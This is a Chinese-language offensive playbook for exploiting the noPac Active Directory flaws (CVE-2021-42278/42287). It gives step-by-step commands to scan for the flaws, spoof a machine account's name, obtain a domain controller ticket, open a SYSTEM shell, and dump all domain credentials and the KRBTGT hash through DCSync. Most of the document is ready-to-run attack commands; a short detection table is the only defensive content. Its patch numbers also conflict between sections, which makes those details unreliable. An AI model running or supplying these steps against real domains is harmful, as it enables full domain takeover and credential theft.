利用 noPac(CVE-2021-42278 / CVE-2021-42287)
概述
noPac 是一个严重的漏洞利用链,结合了两个活动目录漏洞:CVE-2021-42278(sAMAccountName 欺骗)和 CVE-2021-42287(KDC PAC 混淆)。两者合并可以让任何经过认证的域用户提升至域管理员权限,可能在 60 秒内实现完整域入侵。CVE-2021-42278 允许攻击者修改机器账户的 sAMAccountName 属性以匹配域控制器的名称(去掉末尾的 $)。CVE-2021-42287 利用 Kerberos PAC 验证中的缺陷,当 KDC 找不到重命名的账户时,会自动附加 $ 并为域控制器账户签发票据。微软于 2021 年 11 月修补了这两个漏洞(KB5008380 和 KB5008602),但许多环境仍未打补丁。该漏洞由 cube0x0 和 Ridter 于 2021 年 12 月公开发布。
目标
- 扫描目标域以检测 noPac 漏洞(CVE-2021-42278/42287)
- 创建或利用具有修改后 sAMAccountName 的机器账户
- 利用 KDC PAC 混淆获取域控制器的 TGT
- 使用 DC 票据执行 DCSync 并转储域凭据
- 从普通域用户账户获得域管理员访问权限
- 记录包含证据的完整利用链
MITRE ATT&CK 映射
- T1068 - 利用漏洞进行权限提升
- T1136.002 - 创建账户:域账户
- T1078.002 - 有效账户:域账户
- T1558 - 窃取或伪造 Kerberos 票据
- T1003.006 - 操作系统凭据转储:DCSync
实施步骤
阶段一:漏洞扫描
- 使用 noPac 扫描器检查域是否易受攻击:
# 使用 cube0x0 的 noPac 扫描器 python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1 # 使用 CrackMapExec 模块 crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac - 验证 MachineAccountQuota(默认为 10,允许任何用户加入计算机):
# 通过 LDAP 检查 MachineAccountQuota python3 -c " import ldap3 server = ldap3.Server('10.10.10.1') conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True) conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota']) print(conn.entries[0]['ms-DS-MachineAccountQuota']) "
阶段二:使用 noPac 工具利用
- 运行完整的 noPac 漏洞利用链:
# 使用 cube0x0 的 noPac(在 DC 上获取 shell) python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \ -dc-host DC01 -shell --impersonate administrator -use-ldap # 使用 Ridter 的 noPac(替代实现) python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \ --impersonate administrator -dump - 该漏洞利用工具自动:
- 创建新的机器账户(或使用现有的)
- 将机器账户的 sAMAccountName 重命名为与 DC 匹配(如 "DC01")
- 为欺骗的账户名请求 TGT
- 恢复原始 sAMAccountName
- 使用 S4U2self 获取模拟目标用户的服务票据
- KDC 找不到匹配 "DC01" 的账户,回退到 "DC01$"(真实 DC)
阶段三:后渗透
- 使用获得的域控制器票据执行 DCSync:
# 使用 Kerberos 票据通过 secretsdump.py 进行 DCSync export KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local # 或直接通过 noPac shell(shell 以 SYSTEM 身份在 DC 上运行) - 或者,获取半交互式 shell:
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \ -dc-host DC01 -shell --impersonate administrator -use-ldap
阶段四:手动利用步骤
- 创建机器账户:
addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \ -dc-ip 10.10.10.1 domain.local/user:'Password123' - 清除 SPN 并重命名 sAMAccountName:
# 将机器账户的 sAMAccountName 重命名为 DC 名称(不含 $) renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \ -dc-ip 10.10.10.1 domain.local/user:'Password123' - 为欺骗的名称请求 TGT:
getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123' - 恢复原始机器名称:
renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \ -dc-ip 10.10.10.1 domain.local/user:'Password123' - 使用 S4U2self 进行模拟:
export KRB5CCNAME=DC01.ccache getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \ -k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$'
工具与资源
| 工具 | 用途 | 平台 |
|---|---|---|
| noPac(cube0x0) | 自动化扫描器和利用工具 | Python |
| noPac(Ridter) | 替代漏洞利用实现 | Python |
| Impacket | Kerberos 票据操控、DCSync | Python |
| CrackMapExec | 漏洞扫描模块 | Python |
| Rubeus | Windows Kerberos 票据操作 | Windows(.NET) |
| secretsdump.py | 后渗透凭据转储 | Python |
CVE 详情
| CVE | 描述 | CVSS | 补丁 |
|---|---|---|---|
| CVE-2021-42278 | sAMAccountName 欺骗(机器账户) | 7.5 | KB5008102 |
| CVE-2021-42287 | KDC PAC 混淆/权限提升 | 7.5 | KB5008380 |
检测特征
| 指标 | 检测方法 |
|---|---|
| 机器账户 sAMAccountName 更改 | 带 sAMAccountName 修改的事件 4742(计算机账户已更改) |
| 新机器账户创建 | 事件 4741(计算机对象已创建) |
| 不带末尾 $ 的账户的 TGT 请求 | Kerberos 审计日志分析 |
| 来自非 DC 机器账户的 S4U2self 请求 | 带异常服务票据请求的事件 4769 |
| 快速序列:创建账户、重命名、请求 TGT | 针对 noPac 攻击模式的 SIEM 关联规则 |
验证标准
- 已扫描域以检测 noPac 漏洞
- 已验证 MachineAccountQuota(默认 10)
- 漏洞利用已成功执行(获取 shell 或 DCSync)
- 已从普通用户获得域管理员权限
- 已执行 DCSync 以转储域凭据
- 已获取 KRBTGT 哈希用于持久化验证
- 已记录包含时间戳的攻击链
- 已验证补丁状态(KB5008380、KB5008602)